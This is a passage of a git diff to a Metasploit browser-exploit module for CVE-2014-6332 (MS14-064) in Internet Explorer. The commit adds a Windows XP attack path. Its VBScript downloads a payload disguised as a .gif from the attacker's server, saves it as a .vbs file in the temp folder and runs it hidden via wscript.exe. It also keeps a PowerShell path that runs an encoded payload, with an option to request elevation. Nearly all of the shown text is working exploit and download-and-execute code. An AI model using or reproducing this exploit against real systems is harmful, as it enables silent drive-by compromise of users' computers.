@@ -11,17 +11,19 @@ class Metasploit4 < Msf::Exploit::Remote
11
11
Rank = ExcellentRanking
12
12
13
13
include Msf ::Exploit ::Remote ::BrowserExploitServer
14
+ include Msf ::Exploit ::EXE
14
15
include Msf ::Exploit ::Powershell
15
16
16
17
def initialize ( info = { } )
17
18
super ( update_info ( info ,
18
- 'Name' => "Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution" ,
19
+ 'Name' => "MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution" ,
19
20
'Description' => %q{
20
21
This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332.
21
- The vulnerability affects Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.
22
- For this module to be successful, powershell is required on the target machine. On
23
- Internet Explorer versions using Protected Mode, the user has to manually allow
24
- powershell.exe to execute in order to be compromised.
22
+ The vulnerability affects Internet Explorer 3.0 until version 11 within Windows 95 up to
23
+ Windows 10, and there is no patch for Windows XP or older.
24
+
25
+ Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other
26
+ newer Windows systems, the exploit will try using Powershell instead.
25
27
} ,
26
28
'License' => MSF_LICENSE ,
27
29
'Author' =>
@@ -32,6 +34,7 @@ def initialize(info={})
32
34
'Wesley Neelen' , # security[at]forsec.nl
33
35
'GradiusX <francescomifsud[at]gmail.com>' ,
34
36
'b33f' , # @FuzzySec
37
+ 'sinn3r'
35
38
] ,
36
39
'References' =>
37
40
[
@@ -46,14 +49,24 @@ def initialize(info={})
46
49
'Platform' => 'win' ,
47
50
'Targets' =>
48
51
[
49
- [ 'Windows x86' , { 'Arch' => ARCH_X86 } ] ,
52
+ [
53
+ 'Windows XP' ,
54
+ {
55
+ 'os_name' => OperatingSystems ::Match ::WINDOWS_XP
56
+ }
57
+ ] ,
58
+ [
59
+ 'Other Windows x86' ,
60
+ {
61
+ 'os_name' => OperatingSystems ::Match ::WINDOWS ,
62
+ }
63
+ ]
50
64
] ,
51
65
'BrowserRequirements' =>
52
66
{
53
67
:source => /script|headers/i ,
54
68
:ua_name => HttpClients ::IE ,
55
- :os_name => /win/i ,
56
- :arch => 'x86' ,
69
+ :arch => ARCH_X86 ,
57
70
:ua_ver => lambda { |ver | ver . to_i . between? ( 4 , 10 ) }
58
71
} ,
59
72
'DefaultOptions' =>
@@ -260,31 +273,73 @@ def vbs_prepare()
260
273
261
274
end
262
275
263
- def get_html ( )
276
+ def vbs_vector ( prep )
277
+ vbs_name = "#{ Rex ::Text . rand_text_alpha ( rand ( 16 ) +4 ) } .vbs"
278
+ gif_name = "#{ Rex ::Text . rand_text_alpha ( rand ( 5 ) +3 ) } .gif"
279
+
280
+ payload_src = ( datastore [ 'SSL' ] ? 'https' : 'http' )
281
+ payload_src << '://'
282
+ payload_src << ( datastore [ 'SRVHOST' ] == '0.0.0.0' ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ] )
283
+ payload_src << ":#{ datastore [ 'SRVPORT' ] } #{ get_module_resource } /#{ gif_name } "
264
284
285
+ # I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue
286
+ # with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess.
287
+ %Q|<!doctype html>
288
+ <html>
289
+ <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
290
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
291
+ <body>
292
+ <script language="VBScript">
293
+ function runaaaa()
294
+ On Error Resume Next
295
+
296
+ set xmlhttp = CreateObject("Microsoft.XMLHTTP")
297
+ xmlhttp.open "GET", "#{ payload_src } ", False
298
+ xmlhttp.send
299
+
300
+ Set objFSO=CreateObject("Scripting.FileSystemObject")
301
+ folder = objFSO.GetSpecialFolder(2)
302
+ scriptName = folder + "\\ #{ vbs_name } "
303
+ Set objFile = objFSO.CreateTextFile(scriptName,True)
304
+ objFile.Write xmlhttp.responseText
305
+ objFile.Close
306
+
307
+ set shell=createobject("Shell.Application")
308
+ shell.ShellExecute "wscript.exe", scriptName, "", "open", 0
309
+
310
+ end function
311
+ </script>
312
+ <script language="VBScript">
313
+ #{ prep }
314
+ </script>
315
+ </body>
316
+ </html>
317
+ |
318
+ end
319
+
320
+ def powershell_vector ( prep )
265
321
if datastore [ 'TRYUAC' ]
266
322
tryuac = 'runas'
267
323
else
268
324
tryuac = 'open'
269
325
end
270
326
327
+ # Powershell was the first technique demonstrated publicly.
328
+ # On some Windows setups such as Windows 7 without a service pack, this works quite well.
329
+ # But other Windows setups you will get a prompt.
271
330
payl = cmd_psh_payload ( payload . encoded , "x86" , { :remove_comspec => true } )
272
331
payl . slice! "powershell.exe "
273
- prep = vbs_prepare ( )
274
332
275
- html = %Q|
276
- <!doctype html>
333
+ %Q|<!doctype html>
277
334
<html>
278
335
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
279
336
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
280
337
<body>
281
338
<script language="VBScript">
282
339
function runaaaa()
283
340
On Error Resume Next
284
-
285
341
set shell=createobject("Shell.Application")
286
342
shell.ShellExecute "powershell.exe", "#{ payl } ", "", "#{ tryuac } ", 0
287
-
288
343
end function
289
344
</script>
290
345
<script language="VBScript">
@@ -293,12 +348,38 @@ def get_html()
293
348
</body>
294
349
</html>
295
350
|
351
+ end
296
352
353
+ def get_html
354
+ prep = vbs_prepare ( )
355
+ case get_target . name
356
+ when OperatingSystems ::Match ::WINDOWS_XP
357
+ return vbs_vector ( prep )
358
+ else
359
+ return powershell_vector ( prep )
360
+ end
297
361
end
298
362
299
363
def on_request_exploit ( cli , request , target_info )
300
- print_status ( "Requesting: #{ request . uri } " )
301
- send_exploit_html ( cli , get_html ( ) )
364
+ case request . uri
365
+ when /\. gif/
366
+ if get_target . name =~ OperatingSystems ::Match ::WINDOWS_XP
367
+ p = regenerate_payload ( cli )
368
+ data = generate_payload_exe ( { :code => p . encoded } )
369
+
370
+ # The default template uses \n, and wscript.exe isn't very happy about that.
371
+ # It should be \r\n .
372
+ vbs = Msf ::Util ::EXE . to_exe_vbs ( data ) . gsub ( /\x0a / , "\r \n " )
373
+
374
+ send_response ( cli , vbs )
375
+ else
376
+ # The VBS technique is only for Windows XP. So if a non-XP system is requesting it,
377
+ # something is not right.
378
+ send_not_found ( cli )
379
+ end
380
+ else
381
+ send_exploit_html ( cli , get_html )
382
+ end
302
383
end
303
384
304
385
end
0 commit comments